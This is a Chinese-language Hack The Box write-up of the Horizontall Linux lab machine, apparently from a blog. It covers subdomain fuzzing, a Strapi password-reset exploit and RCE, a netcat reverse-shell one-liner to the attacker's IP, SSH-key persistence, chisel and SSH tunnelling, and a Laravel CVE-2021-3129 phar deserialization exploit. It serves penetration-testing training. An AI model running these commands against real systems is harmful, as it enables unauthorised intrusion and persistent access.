【Hack The Box】linux练习-- Horizontall
创始人
2024-02-22 09:00:19
0

HTB 学习笔记

【Hack The Box】linux练习-- Horizontall


🔥系列专栏:Hack The Box
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2022年11月27日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!

文章目录

  • HTB 学习笔记
    • 信息收集
        • 爆破目录
        • http://api-prod.horizontall.htb/admin
    • ssh转发端口

在这里插入图片描述

信息收集

22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 ee:77:41:43:d4:82:bd:3e:6e:6e:50:cd:ff:6b:0d:d5 (RSA)
|   256 3a:d5:89:d5:da:95:59:d9:df:01:68:37:ca:d5:10:b0 (ECDSA)
|_  256 4a:00:04:b4:9d:29:e7:af:37:16:1b:4f:80:2d:98:94 (ED25519)
80/tcp open  http    nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Did not follow redirect to http://horizontall.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

添加horizontall.htb
在这里插入图片描述
html美化器,发现所有源码都在一行,所以那个美化器美化一下
https://beautifytools.com/html-beautifier.php
在这里插入图片描述


horizontall

但是也没啥东西
我将使用wfuzz爆破域名

wfuzz -u http://horizontall.htb -H "Host: FUZZ.horizontal.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt --hc 301

得到一个新的域名
api-prod.horizontall.htb
在这里插入图片描述

爆破目录

feroxbuster -u http://api-prod.horizontall.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt 

这里用别的字典也可以,我只是顺手用了dns的词典

得到结果

200       16l      101w      854c http://api-prod.horizontall.htb/admin
403        1l        1w       60c http://api-prod.horizontall.htb/users
200        1l       21w      507c http://api-prod.horizontall.htb/reviews

得到了两个新的目录

 http://api-prod.horizontall.htb/adminhttp://api-prod.horizontall.htb/reviews

有几个用户应该

wail
doe
john

在这里插入图片描述

http://api-prod.horizontall.htb/admin

是一个strapi
在这里插入图片描述搜索一下
在这里插入图片描述
有需要凭证的rce,也有修改密码的py脚本
在这里插入图片描述
在50237脚本中我发现了他是如何获取版本信息的
在这里插入图片描述所以得到本本信息
strapiVersion “3.0.0-beta.17.4”

而后利用exp-50237
修改这三个参数
在这里插入图片描述密码已经被成功修改
在这里插入图片描述
然后我用admin做账号,自己设置的密码做密码
登陆

在这里插入图片描述
那现在有了凭证就尝试rce

python3 50239.py http://api-prod.horizontall.htb

看不到回显,所以直接反弹端口
在这里插入图片描述我在本地开启了一个

tcpdump -ni tun0 icmp

在获得的shell上

ping -c 1 10.10.14.29

在这里插入图片描述
正常收到ping
所以
执行反弹shell

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.14.7 443 >/tmp/f

在这里插入图片描述
还有developer这个用户
home目录打不开

在这里插入图片描述composer-setup.php文件表明这里使用了某种 PHP 站点。

看着 netstat,在 80 上有站点,在 1337 上有 NodeJS 端。在 3306 上还有 MySQL(这是有道理的)。 但是 8000 上还有一些东西:

netstat -tnlp
在这里插入图片描述
所以我们利用chisel搭建一个隧道
搭建到目标的8000

./chisel server -p 6666 --reverse
./chisel client 10.10.14.29:6666 R:9999:127.0.0.1:8000

在这里插入图片描述
在这里插入图片描述
这是火狐的设置问题

url栏about:config

在这里插入图片描述首选项输入

network.security.ports.banned.override

在这里插入图片描述
选择字符串的数据类型,添加一个6666
但是chisel没得到
页面显示notfound,那就尝试ssh转发

ssh转发端口

mkdir .ssh
cd .ssh

echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDqF5b+x6SW++Mf1ptV7LmcZq3jzx1AO66z3zambSB3+2wD/t5Z8G642Wt6cso4tOGvB5bp9fYymmt05RloZa5EM5xfihLbknFZPjxu4WniT7ZqeIbOcFe+Z/4BZnkwNuEVRrXK8n4neymZHAcfwunO0Md3fel86t8WZNbejzzRIPt81S6EGhEuhH9xvHJ0AZNbg3v3W/tfDsq3cCtQo4Plt2TYVKh6Xcff4jeLBjqiInvq2OkLWRDyjDZS2fk/SCzTqnJU5ehQeK3iE2zNSC5rmFLs9ApzmjnAUQmqTWblBzFvTTa/FjOhGjSogRPcYBojqnCpuMxV6Y04Lw6g+CdKSUX2kMueoLqJMaCPqYtsGRGcaQazeqwSV+4m1kctdEKhKztFKtVGlEXjz+mIfcvEmh5zIZxGdYEuLBa7CRVc9CMWDri+Sy97Xiep08FMGzoNYyPwQjkiIFCV75/KGcyqjllfC+hEabIMol9xplqCsLJI51/eRDrUC32F/kD3YZE= root@kali" > authorized_keys 

注意,必须在用户目录下创建.ssh目录

ssh -i id_rsa strapi@10.129.165.246 -L 8000:localhost:8000

在这里插入图片描述Laravel v8 (PHP v7.4.18)

使用下面这个exp可以很方便,但这需要墙,我的kali制作的proxychain,是用不了的
https://github.com/nth347/CVE-2021-3129_exploit

1. 下载phpggc
https://github.com/ambionics/phpggc
下面的代码示例是下载到了/opt
2. 下载py脚本
https://github.com/ambionics/laravel-exploits
3. 生成php反序列化char文件
php -d'phar.readonly=0' /opt/phpggc/phpggc --phar phar -o id.phar --fast-destruct monolog/rce1 system id
最后的id是命令,可以修改
4. 利用脚本
python3 exp.py http://127.0.0.1:8000 /opt/phpggc/id.phar  

同理,把id换成反弹shell命令也可以
在这里插入图片描述

相关内容

热门资讯

喜欢穿一身黑的男生性格(喜欢穿... 今天百科达人给各位分享喜欢穿一身黑的男生性格的知识,其中也会对喜欢穿一身黑衣服的男人人好相处吗进行解...
发春是什么意思(思春和发春是什... 本篇文章极速百科给大家谈谈发春是什么意思,以及思春和发春是什么意思对应的知识点,希望对各位有所帮助,...
网络用语zl是什么意思(zl是... 今天给各位分享网络用语zl是什么意思的知识,其中也会对zl是啥意思是什么网络用语进行解释,如果能碰巧...
为什么酷狗音乐自己唱的歌不能下... 本篇文章极速百科小编给大家谈谈为什么酷狗音乐自己唱的歌不能下载到本地?,以及为什么酷狗下载的歌曲不是...
华为下载未安装的文件去哪找(华... 今天百科达人给各位分享华为下载未安装的文件去哪找的知识,其中也会对华为下载未安装的文件去哪找到进行解...
怎么往应用助手里添加应用(应用... 今天百科达人给各位分享怎么往应用助手里添加应用的知识,其中也会对应用助手怎么添加微信进行解释,如果能...
家里可以做假山养金鱼吗(假山能... 今天百科达人给各位分享家里可以做假山养金鱼吗的知识,其中也会对假山能放鱼缸里吗进行解释,如果能碰巧解...
四分五裂是什么生肖什么动物(四... 本篇文章极速百科小编给大家谈谈四分五裂是什么生肖什么动物,以及四分五裂打一生肖是什么对应的知识点,希...
一帆风顺二龙腾飞三阳开泰祝福语... 本篇文章极速百科给大家谈谈一帆风顺二龙腾飞三阳开泰祝福语,以及一帆风顺二龙腾飞三阳开泰祝福语结婚对应...
美团联名卡审核成功待激活(美团... 今天百科达人给各位分享美团联名卡审核成功待激活的知识,其中也会对美团联名卡审核未通过进行解释,如果能...